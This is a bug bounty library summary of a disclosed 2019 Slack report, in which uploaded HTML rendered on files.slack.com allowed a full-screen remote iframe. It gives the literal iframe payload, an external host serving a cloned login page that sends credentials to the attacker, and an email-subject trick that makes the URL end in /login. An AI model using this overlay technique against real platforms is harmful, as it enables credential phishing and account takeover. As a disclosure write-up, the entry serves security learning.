# 500$ bounty: Man in the Middle on Slack

Slack rendered uploaded HTML with iframes allowed, letting an attacker host a full-page fake Slack login on files.slack.com to phish credentials.

- Payout: $500
- Severity: medium
- Program: Slack
- Found by: Wiard van Rij / Sysrant (@RijWiard)
- Disclosed: 2019-07-15
- Write-up quality: 6/10
- Original: https://sysrant.com/500-bounty-man-in-the-middle-on-slack/
- Library page: https://bugbountylibrary.com/r/blog%3Asysrant-com-500-bounty-man-in-the-middle-on-slack
- Tags: area:web domain:web impact:ato kind:bounty platform:blog sev:medium tech:email technique:recon vuln:file-upload vuln:misconfiguration

**Target:** File upload/preview rendering on files.slack.com
**Root cause:** Slack rendered user-uploaded HTML files in the browser and its CSP permitted remote iframes, so attacker HTML could embed and full-screen an external page.
**Steps:**
1. Upload an HTML file containing `<iframe src="https://wiard.nl/test.php" style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></iframe>`
2. Host a copy of the Slack login page on attacker server (test.php) that posts credentials to attacker
3. Send the HTML via email to the personal Slack email address with `Content-Type: text/html; charset=UTF-8` header so it renders and uploads
4. Set email subject to `Login` so the resulting files.slack.com URL ends in /login
5. Victim opens the preview URL and sees a full-page fake Slack login on the Slack domain
**How found:** Interested in how Slack serves uploaded data, noticed HTML files render in preview; CSP blocked inline JS and remote resources but testing options revealed remote iframes were allowed. Then found the email-to-Slack feature let the email subject control the file URL slug, enabling a /login suffix.
**Exploitation:** Attacker emails crafted HTML to the victim's Slack email-to-DM address; Slack uploads and renders it, the iframe overlays a cloned Slack login page on files.slack.com with a /login URL suffix, and submitted credentials go to the attacker.
**Insight:** When HTML uploads render but CSP blocks scripts, test whether remote iframes are still permitted — a full-screen styled iframe turns a benign preview into a same-domain phishing page; also check whether email-subject-to-filename mapping lets you control the URL path for believability.